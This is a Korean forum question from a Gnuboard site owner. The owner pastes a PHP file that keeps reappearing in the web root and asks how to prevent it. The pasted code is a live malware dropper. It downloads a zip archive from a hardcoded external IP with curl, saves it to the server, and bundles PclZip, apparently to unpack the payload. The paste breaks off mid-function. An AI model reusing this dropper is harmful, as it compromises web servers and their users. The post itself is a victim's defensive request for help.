해킹 시도 같은데 어떤건지 질문입니다.

해킹 시도 같은데 어떤건지 질문입니다.

QA

해킹 시도 같은데 어떤건지 질문입니다.

본문

그누가 깔려있는 root에 b565828325.php 파일이 계속 지워도 계속 업로드 되는데요~
방지할 수 있는 방법을 아시는 분들의 조언을 부탁 드립니다.

 

파일 내용은 아래와 같습니다.

 

---------------------

<?php 

if( isset($_REQUEST["test_url"]) ){

                    echo "file test okay";

 

                    }

 

//$f =$_GET["d"];

$id='hirje2.zip';

 $ch = curl_init();  

curl_setopt($ch, CURLOPT_URL, "http://94.156.133.72:3380/$id"); 

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');

$current = curl_exec($ch); 

curl_close($ch);

file_put_contents($id, $current);

 

  if (!defined('PCLZIP_READ_BLOCK_SIZE')) {

    define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );

  }

  

  if (!defined('PCLZIP_SEPARATOR')) {

    define( 'PCLZIP_SEPARATOR', ',' );

  }

 

  if (!defined('PCLZIP_ERROR_EXTERNAL')) {

    define( 'PCLZIP_ERROR_EXTERNAL', 0 );

  }

 

  if (!defined('PCLZIP_TEMPORARY_DIR')) {

    define( 'PCLZIP_TEMPORARY_DIR', '' );

  }

 

  if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {

    define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );

  }

 

 

  $g_pclzip_version = "2.8.2";

 

  define( 'PCLZIP_ERR_USER_ABORTED', 2 );

  define( 'PCLZIP_ERR_NO_ERROR', 0 );

  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );

  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );

  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );

  define( 'PCLZIP_ERR_MISSING_FILE', -4 );

  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );

  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );

  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );

  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );

  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );

  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );

  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );

  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );

  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );

  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );

  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );

  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );

  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );

  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );

  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );

  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );

  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );

 

  define( 'PCLZIP_OPT_PATH', 77001 );

  define( 'PCLZIP_OPT_ADD_PATH', 77002 );

  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );

  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );

  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );

  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );

  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );

  define( 'PCLZIP_OPT_BY_NAME', 77008 );

  define( 'PCLZIP_OPT_BY_INDEX', 77009 );

  define( 'PCLZIP_OPT_BY_EREG', 77010 );

  define( 'PCLZIP_OPT_BY_PREG', 77011 );

  define( 'PCLZIP_OPT_COMMENT', 77012 );

  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );

  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );

  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );

  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );

  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );

  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );

  define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );

  define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );

  define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );

  

  define( 'PCLZIP_ATT_FILE_NAME', 79001 );

  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );

  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );

  define( 'PCLZIP_ATT_FILE_MTIME', 79004 );

  define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );

  define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );

 

  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );

  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );

  define( 'PCLZIP_CB_PRE_ADD', 78003 );

  define( 'PCLZIP_CB_POST_ADD', 78004 );

 

  class PclZip

  {

    var $zipname = '';

 

    var $zip_fd = 0;

 

    var $error_code = 1;

    var $error_string = '';

    

    var $magic_quotes_status;

 

  function PclZip($p_zipname)

  {

 

    if (!function_exists('gzopen'))

    {

      die('Abort '.basename(__FILE__).' : Missing zlib extensions');

    }

 

    $this->zipname = $p_zipname;

    $this->zip_fd = 0;

    $this->magic_quotes_status = -1;

 

    return;

  }

 

  function create($p_filelist)

  {

    $v_result=1;

 

    $this->privErrorReset();

 

    $v_options = array();

    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

 

    $v_size = func_num_args();

 

    if ($v_size > 1) {

      $v_arg_list = func_get_args();

 

      array_shift($v_arg_list);

      $v_size--;

 

      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

 

        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,

                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',

                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',

                                                   PCLZIP_OPT_ADD_PATH => 'optional',

                                                   PCLZIP_CB_PRE_ADD => 'optional',

                                                   PCLZIP_CB_POST_ADD => 'optional',

                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',

                                                   PCLZIP_OPT_COMMENT => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'

                                                   

                                             ));

        if ($v_result != 1) {

          return 0;

        }

      }

 

      else {

 

        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];

 

        if ($v_size == 2) {

          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];

        }

        else if ($v_size > 2) {

          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,

                      "Invalid number / type of arguments");

          return 0;

        }

      }

    }

    

    $this->privOptionDefaultThreshold($v_options);

 

    $v_string_list = array();

    $v_att_list = array();

    $v_filedescr_list = array();

    $p_result_list = array();

    

    if (is_array($p_filelist)) {

    

      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {

        $v_att_list = $p_filelist;

      }

      

      else {

        $v_string_list = $p_filelist;

      }

    }

 

    else if (is_string($p_filelist)) {

      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);

    }

 

    else {

      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");

      return 0;

    }

    

    if (sizeof($v_string_list) != 0) {

      foreach ($v_string_list as $v_string) {

        if ($v_string != '') {

          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;

        }

        else {

        }

      }

    }

    

    $v_supported_attributes

    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'

             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'

             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'

             ,PCLZIP_ATT_FILE_MTIME => 'optional'

             ,PCLZIP_ATT_FILE_CONTENT => 'optional'

             ,PCLZIP_ATT_FILE_COMMENT => 'optional'

);

    foreach ($v_att_list as $v_entry) {

      $v_result = $this->privFileDescrParseAtt($v_entry,

                                               $v_filedescr_list[],

                                               $v_options,

                                               $v_supported_attributes);

      if ($v_result != 1) {

        return 0;

      }

    }

 

    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);

    if ($v_result != 1) {

      return 0;

    }

 

    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);

    if ($v_result != 1) {

      return 0;

    }

 

    return $p_result_list;

  }

 

  function add($p_filelist)

  {

    $v_result=1;

 

    $this->privErrorReset();

 

    $v_options = array();

    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

 

    $v_size = func_num_args();

 

    if ($v_size > 1) {

      $v_arg_list = func_get_args();

 

      array_shift($v_arg_list);

      $v_size--;

 

      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

 

        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,

                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',

                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',

                                                   PCLZIP_OPT_ADD_PATH => 'optional',

                                                   PCLZIP_CB_PRE_ADD => 'optional',

                                                   PCLZIP_CB_POST_ADD => 'optional',

                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',

                                                   PCLZIP_OPT_COMMENT => 'optional',

                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',

                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'

                                                   

  ));

        if ($v_result != 1) {

          return 0;

        }

      }

 

      else {

 

        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];

 

        if ($v_size == 2) {

          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];

        }

        else if ($v_size > 2) {

          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

 

          return 0;

        }

      }

    }

 

    $this->privOptionDefaultThreshold($v_options);

 

    $v_string_list = array();

    $v_att_list = array();

    $v_filedescr_list = array();

    $p_result_list = array();

    

    if (is_array($p_filelist)) {

    

      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {

        $v_att_list = $p_filelist;

      }

      

      else {

        $v_string_list = $p_filelist;

      }

    }

 

    else if (is_string($p_filelist)) {

      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);

    }

 

    else {

      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");

      return 0;

    }

    

    if (sizeof($v_string_list) != 0) {

      foreach ($v_string_list as $v_string) {

        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;

      }

    }

    

    $v_supported_attributes

    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'

             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'

             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'

             ,PCLZIP_ATT_FILE_MTIME => 'optional'

             ,PCLZIP_ATT_FILE_CONTENT => 'optional'

             ,PCLZIP_ATT_FILE_COMMENT => 'optional'

);

    foreach ($v_att_list as $v_entry) {

      $v_result = $this->privFileDescrParseAtt($v_entry,

                                               $v_filedescr_list[],

                                               $v_options,

                                               $v_supported_attributes);

      if ($v_result != 1) {

        return 0;

      }

    }

 

    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);

    if ($v_result != 1) {

      return 0;

    }

 

    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);

    if ($v_result != 1) {

      return 0;

    }

 

    return $p_result_list;

  }

 

  function listContent()

  {

    $v_result=1;

 

    $this->privErrorReset();

 

    if (!$this->privCheckFormat()) {

      return(0);

    }

 

    $p_list = array();

    if (($v_result = $this->privList($p_list)) != 1)

    {

      unset($p_list);

      return(0);

    }

 

    return $p_list;

  }

 

  function extract()

  {

    $v_result=1;

 

    $this->privErrorReset();

 

    if (!$this->privCheckFormat()) {

      return(0);

    }

 

    $v_options = array();

    $v_path = '';

    $v_remove_path = "";

    $v_remove_all_path = false;

 

    $v_size = func_num_args();

 

    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

 

    if ($v_size > 0) {

      $v_arg_list = func_get_args();

 

      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

 

        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,

                                            array (PCLZIP_OPT_PATH => 'optional',

                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',

                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',

                                                   PCLZIP_OPT_ADD_PATH => 'optional',

                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',

                                                   PCLZIP_CB_POST_EXTRACT => 'optional',

                                                   PCLZIP_OPT_SET_CHMOD => 'optional',

                                                   PCLZIP_OPT_BY_NAME => 'optional',

                                                   PCLZIP_OPT_BY_EREG => 'optional',

                                                   PCLZIP_OPT_BY_PREG => 'optional',

                                                   PCLZIP_OPT_BY_INDEX => 'optional',

                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',

                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',

                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'

                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'

                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'

   ));

        if ($v_result != 1) {

          return 0;

        }

 

        if (isset($v_options[PCLZIP_OPT_PATH])) {

          $v_path = $v_options[PCLZIP_OPT_PATH];

        }

        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {

          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];

        }

        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {

          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];

        }

        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {

          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {

            $v_path .= '/';

          }

          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];

        }

      }

 

      else {

 

        $v_path = $v_arg_list[0];

 

        if ($v_size == 2) {

          $v_remove_path = $v_arg_list[1];

        }

        else if ($v_size > 2) {

          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

 

          return 0;

        }

      }

    }

 

    $this->privOptionDefaultThreshold($v_options);

 

 

    $p_list = array();

    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,

                                    $v_remove_all_path, $v_options);

    if ($v_result < 1) {

      unset($p_list);

      return(0);

    }

 

    return $p_list;

  }

 

 

 

  function extractByIndex($p_index)

  {

    $v_result=1;

 

    $this->privErrorReset();

 

    if (!$this->privCheckFormat()) {

      return(0);

    }

 

    $v_options = array();

    $v_path = '';

    $v_remove_path = "";

    $v_remove_all_path = false;

 

    $v_size = func_num_args();

 

    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

 

    if ($v_size > 1) {

      $v_arg_list = func_get_args();

 

      array_shift($v_arg_list);

      $v_size--;

 

      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

 

        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,

                                            array (PCLZIP_OPT_PATH => 'optional',

                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',

                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',

                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',

                                                   PCLZIP_OPT_ADD_PATH => 'optional',

                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',

                                                   PCLZIP_CB_POST_EXTRACT => 'optional',

                                                   PCLZIP_OPT_SET_CHMOD => 'optional',

                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'

                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'

                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',

                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'

  ));

        if ($v_result != 1) {

          return 0;

        }

 

        if (isset($v_options[PCLZIP_OPT_PATH])) {

          $v_path = $v_options[PCLZIP_OPT_PATH];

        }

        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {

          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];

        }

        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {

          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];

        }

        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {

          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {

            $v_path .= '/';

          }

          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];

        }

        if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {

          $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

        }

        else {

        }

      }

 

      else {

 

        $v_path = $v_arg_list[0];

 

        if ($v_size == 2) {

          $v_remove_path = $v_arg_list[1];

        }

        else if ($v_size > 2) {

          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

 

          return 0;

        }

      }

    }

 

 

    $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);

    $v_options_trick = array();

    $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,

                                        array (PCLZIP_OPT_BY_INDEX => 'optional' ));

    if ($v_result != 1) {

        return 0;

    }

    $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];

 

    $this->privOptionDefaultThreshold($v_options);

 

    if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {

        return(0);

    }

 

    return $p_list;

  }

 

  function delete()

  {

    $v_result=1;

 

    $this->privErrorReset();

 

    if (!$this->privCheckFormat()) {

      return(0);

    }

 

    $v_options = array();

 

    $v_size = func_num_args();

 

    if ($v_size > 0) {

      $v_arg_list = func_get_args();

 

      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,

                                        array (PCLZIP_OPT_BY_NAME => 'optional',

                                               PCLZIP_OPT_BY_EREG => 'optional',

                                               PCLZIP_OPT_BY_PREG => 'optional',

                                               PCLZIP_OPT_BY_INDEX => 'optional' ));

      if ($v_result != 1) {

          return 0;

      }

    }

 

    $this->privDisableMagicQuotes();

 

    $v_list = array();

    if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {

      $this->privSwapBackMagicQuotes();

      unset($v_list);

      return(0);

    }

 

    $this->privSwapBackMagicQuotes();

 

    return $v_list;

  }

 

  function deleteByIndex($p_index)

  {

    

    $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);

 

    return $p_list;

  }

 

  function properties()

  {

 

    $this->privErrorReset();

 

    $this->privDisableMagicQuotes();

 

    if (!$this->privCheckFormat()) {

      $this->privSwapBackMagicQuotes();

      return(0);

    }

 

    $v_prop = array();

    $v_prop['comment'] = '';

    $v_prop['nb'] = 0;

    $v_prop['status'] = 'not_exist';

 

    if (@is_file($this->zipname))

    {

      if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)

      {

        $this->privSwapBackMagicQuotes();

        

        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');

 

        return 0;

      }

 

      $v_central_dir = array();

      if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)

      {

        $this->privSwapBackMagicQuotes();

        return 0;

      }

 

      $this->privCloseFd();

 

      $v_prop['comment'] = $v_central_dir['comment'];

      $v_prop['nb'] = $v_central_dir['entries'];

      $v_prop['status'] = 'ok';

    }

 

    $this->privSwapBackMagicQuotes();

 

    return $v_prop;

  }

 

  function duplicate($p_archive)

  {

    $v_result = 1;

 

    $this->privErrorReset();

 

    if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip'))

    {

 

      $v_result = $this->privDuplicate($p_archive->zipname);

    }

 

    else if (is_string($p_archive))

    {

 

      if (!is_file($p_archive)) {

        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");

        $v_result = PCLZIP_ERR_MISSING_FILE;

      }

      else {

        $v_result = $this->privDuplicate($p_archive);

      }

    }

 

    else

    {

      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");

      $v_result = PCLZIP_ERR_INVALID_PARAMETER;

    }

 

    return $v_result;

  }

 

  function merge($p_archive_to_add)

  {

    $v_result = 1;

 

    $this->privErrorReset();

 

    if (!$this->privCheckFormat()) {

      return(0);

    }

 

    if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip'))

    {

 

      $v_result = $this->privMerge($p_archive_to_add);

    }

 

    else if (is_string($p_archive_to_add))

    {

 

      $v_object_archive = new PclZip($p_archive_to_add);

 

      $v_result = $this->privMerge($v_object_archive);

    }

 

    else

    {

      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");

      $v_result = PCLZIP_ERR_INVALID_PARAMETER;

    }

 

    return $v_result;

  }

 

 

 

  function errorCode()

  {

    if (PCLZIP_ERROR_EXTERNAL == 1) {

      return(PclErrorCode());

    }

    else {

      return($this->error_code);

    }

  }

 

  function errorName($p_with_code=false)

  {

    $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',

                      PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',

                      PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',

                      PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',

                      PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',

                      PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',

                      PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',

                      PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',

                      PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',

                      PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',

                      PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',

                      PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',

                      PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',

                      PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',

                      PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',

                      PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',

                      PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',

                      PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',

                      PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'

                      ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'

                      ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'

                    );

 

    if (isset($v_name[$this->error_code])) {

      $v_value = $v_name[$this->error_code];

    }

    else {

      $v_value = 'NoName';

    }

 

    if ($p_with_code) {

      return($v_value.' ('.$this->error_code.')');

    }

    else {

      return($v_value);

    }

  }

 

  function errorInfo($p_full=false)

  {

    if (PCLZIP_ERROR_EXTERNAL == 1) {

      return(PclErrorString());

    }

    else {

      if ($p_full) {

        return($this->errorName(true)." : ".$this->error_string);

      }

      else {

        return($this->error_string." [code ".$this->error_code."]");

      }

    }

  }

 

 

 

 

 

  function privCheckFormat($p_level=0)

  {

    $v_result = true;

 

    clearstatcache();

 

    $this->privErrorReset();

 

    if (!is_file($this->zipname)) {

      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");

      return(false);

    }

 

    if (!is_readable($this->zipname)) {

      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");

      return(false);

    }

 

 

 

 

    return $v_result;

  }

 

  function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)

  {

    $v_result=1;

    

    $i=0;

    while ($i<$p_size) {

 

      if (!isset($v_requested_options[$p_options_list[$i]])) {

        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");

 

        return PclZip::errorCode();

      }

 

      switch ($p_options_list[$i]) {

        case PCLZIP_OPT_PATH :

        case PCLZIP_OPT_REMOVE_PATH :

        case PCLZIP_OPT_ADD_PATH :

          if (($i+1) >= $p_size) {

            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

            return PclZip::errorCode();

          }

 

          $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);

          $i++;

        break;

 

        case PCLZIP_OPT_TEMP_FILE_THRESHOLD :

          if (($i+1) >= $p_size) {

            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            return PclZip::errorCode();

          }

          

          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {

            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");

            return PclZip::errorCode();

          }

          

          $v_value = $p_options_list[$i+1];

          if ((!is_integer($v_value)) || ($v_value<0)) {

            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            return PclZip::errorCode();

          }

 

          $v_result_list[$p_options_list[$i]] = $v_value*1048576;

          $i++;

        break;

 

        case PCLZIP_OPT_TEMP_FILE_ON :

          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {

            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");

            return PclZip::errorCode();

          }

          

          $v_result_list[$p_options_list[$i]] = true;

        break;

 

        case PCLZIP_OPT_TEMP_FILE_OFF :

          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {

            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");

            return PclZip::errorCode();

          }

          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {

            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");

            return PclZip::errorCode();

          }

          

          $v_result_list[$p_options_list[$i]] = true;

        break;

 

        case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :

          if (($i+1) >= $p_size) {

            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

            return PclZip::errorCode();

          }

 

          if (   is_string($p_options_list[$i+1])

              && ($p_options_list[$i+1] != '')) {

            $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);

            $i++;

          }

          else {

          }

        break;

 

        case PCLZIP_OPT_BY_NAME :

          if (($i+1) >= $p_size) {

            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

 

            return PclZip::errorCode();

          }

 

          if (is_string($p_options_list[$i+1])) {

              $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];

          }

          else if (is_array($p_options_list[$i+1])) {

              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];

          }

          else {

